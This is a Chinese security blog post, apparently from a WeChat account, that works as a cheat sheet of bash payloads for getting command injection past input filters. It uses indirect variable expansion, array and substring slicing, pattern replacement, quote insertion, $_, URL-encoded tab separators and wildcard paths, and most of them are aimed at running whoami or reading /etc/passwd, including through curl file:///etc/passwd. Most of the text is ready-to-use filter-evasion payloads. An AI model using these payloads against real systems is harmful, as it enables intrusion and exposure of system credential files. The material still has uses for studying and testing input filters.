RCE命令执行之花式bypass

公众号:泷羽Sec---风宵

对oscp感兴趣的可以私聊我喔~

目录

公众号:泷羽Sec---风宵

                               命令执行绕过

${!绕过 

数组参数绕过 

${绕过 

string绕过 

--绕过(作为set的特殊用法) 

array绕过 

#与%格式的绕过 

字符串匹配绕过 

' " \绕过 

环境变量绕过 

bash变量绕过 

参数命令执行绕过 

%09绕过 

命令+属性

命令+参数

bin绕过 

命令+文件 

绕过方式


                               命令执行绕过

${!绕过 

Bash 会解析 $ 包裹的内容

$""
$''
$()
\`$id`

    在 test 目录下创建了一个名为 whoami 的文件,当通过 $(ls) 的方式访问时,其中的 $ 符号会继续解析 ls 命令的结果。

图片

图片

图片

通过查阅官方文档${!,我们可以间接地进行扩展,借此方式实现命令执行的绕过。

     当parameter的首个字符为感叹号(!),且parameter并非nameref时,它引入了一个间接层级。此时,Bash会将剩余参数展开后得到的值作为新的参数;随后对这个值进行扩展,并且在扩展的剩余部分中使用这个值,而非原始参数的扩展。这种操作被称为indirect expansion。扩展的值还可以进行波形符扩展、参数扩展、命令替换及算术扩展。若参数是nameret,那么它将展开为参数引用的变量名,而非执行完整的间接扩展。例外情况是前缀和{!名称@],如下所示。

值得注意的是,感叹号必须紧跟在左大括号之后,才能建立间接关系

var1=i;name=var1;${!name}d

图片

当存在*@符号时,系统会匹配相应的前缀,从而同样可以实现绕过。

wh=wh;o=o;ami=am;${!wh@}${!o@}${!ami@}
wh=wh;o=o;ami=am;${!wh*}${!o*}${!ami*}
who=who;mi=mi;${!who*}a${!mi*}
who=who;mi=mi;${!who@}a${!mi@}

图片

数组参数绕过 


names=("i" "d");${names[0]}${names[1]}

图片

${绕过 


     经检验,若 ${ 中包含已定义的变量,并且在变量名中插入了特殊符号,${ 将优先解析并提取该变量的值,同时无视符号内的其他文本,并将提取的值与括号外的文本连接起来。

ff=whoa;${ff?6666666666666666666}mi
ff=whoa;${ff/6666666666666666666}mi
ff=whoa;${ff-6666666666666666666}mi
a=whoa;ff=$a;${ff?6666666666666666666}mi

图片

string绕过 

whoami

string=who123esaxami;${string:0:3}${string:10:12}
names=("who123esaxami" "d");${names[0]:0:3}${names[0]:10:12}
array[0]=who123esaxami;${array[0]:0:3}${array[0]:10:12}

图片

图片

图片

--绕过(作为set的特殊用法) 

     在 Linux 系统中,使用 -- 这个标志的一个重要作用是告诉命令解析器,后续的参数将不再被视为选项。这意味着所有在 -- 后面出现的参数都会被当作普通的输入参数进行处理,而不是被解析为选项或开关。这一特性在处理用户输入或脚本参数时非常有用,尤其是在需要传递以 - 开头的参数时。

    为了结合这一特性,用户可以使用 set 命令来修改位置参数,其中 set 命令可以重新赋值给 shell 的位置参数,通过这种方式,可以根据需要将参数拼凑成所需的形式。此外,另一种实现相同目的的方式是使用 @ 符号。在 shell 中,$@ 代表所有的位置参数,这使得用户能够灵活地处理多个参数并将它们传递给其他命令或脚本。这两种方法都提供了对命令行参数处理的强大控制能力,适合在编写脚本或者处理复杂命令时使用。

set -- 123who456ami;${:3:3}${:9:3}

 

c=set -- w h o a m i;$1$2$3$4$5$6

图片

array绕过 

  • @符号能够用来检索当前全部元素,且能够逐一逐个地返回这些元素。

  • 符号则用于指示当前位置的全部元素,并且这些元素将会按照空格分隔

  • 这两种符号同样支持利用 :: 进行字符串的截取操作。

array=(0 1 2 3 4 5 6 123 ami);who${array[@]:8}

图片

array=(0 1 2 3 4 5 6 who ami);${array[@]:7:1}${array[@]:8}

图片

#与%格式的绕过 

  • ${var#.} 将识别并移除最短的 '.' 及其前面的内容,只保留 '.' 之后的部分;

  • ${var##.} 则会找出最长的 '.' 及其前面的内容并删除,仅返回剩下的最末尾部分。

  • 同 '#' 的作用相似,然而 '%' 会从字符串的尾部开始匹配,并且保留匹配到的部分。

var="example.who";var1="example.ami";${var#*.}${var1#*.}
var="example.123.666.who";var1="example.ami";${var##*.}${var1#*.}
c=var2="who.666";var3="ami.666";${var2%.*}${var3%.*}

图片

图片

字符串匹配绕过 

  • ${parameter/pattern/string}:替换参数 parameter 中首次与 pattern 匹配的文本为 string。

  • ${parameter//pattern/string}:将参数 parameter 中所有与 pattern 匹配的文本替换为 string。

  • ${parameter/#pattern/string}:仅在参数 parameter 开头部分匹配 pattern 时,替换开头的 pattern 为 string。

  • ${parameter/%pattern/string}:仅在参数 parameter 结尾部分匹配 pattern 时,替换结尾的 pattern 为 string。

var="w123hoami";${var/123/}
var="w123oami";${var/123/h}
var1=w123ho123am123i;${var1//123/}
var1=123ami;${var1/#123/who}
var1=who123;${var1/%123/ami}
var1=who123;rep=ami;${var1/%123/$rep}

图片

' " \绕过 

在 Linux 系统中,反斜杠 \用于转义字符,单独使用时并不会对命令本身的执行产生影响。

c=w\h\oa\m\i
c=whoam''i
who""ami

图片

环境变量绕过 

c=declare -x VARIABLE_NAME2="wh";declare -x VARIABLE_NAME3="oami";$VARIABLE_NAME2$VARIABLE_NAME3

图片

bash变量绕过 

c=ami;who$_

$_代表前面一个命令的结果。

图片

参数命令执行绕过 

array=(ls 222 -al);${array[*]}

%09绕过 

命令+属性

ls%09%09-al

图片

命令+参数

cat%09%09%09%09%09%09%09%09111111%09/etc/passwd
cat%09%09%09%09%09%09%09%09111111%09/et?/pa??wd
curl%09http://127.0.0.1:8088121waqdasd%09http://127.0.0.1:8087

图片

bin绕过 

/tmp/../bin/whoami

图片

al绕过

ls -%eH(url编码)al

ls -a%eH(url编码)l

ls -al%WC(url编码)

图片

命令+文件 

cat /etc/passwd

绕过方式

需要通配符去打乱

cat%20/e?c/passwd
cat%20/e*c/passwd

多个参数绕过(第一参数满足长度小于即可)

cat+1+/etc/passwd

图片

敏感文件的绕过直接打乱/etc/passwd的直接顺序即可

cat+1+/etc//passwd
cat+1+/etc*/passwd
cat+1+/etc/passwd
cd+/etc+%26%26+cat+passwd
cat ~/../../etc/snmp/../passwd
curl <file:///etc/passwd>

图片


好啦,本文的内容就是这些了,希望对你们有所帮助,还望多支持我呀,谢谢你们。。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值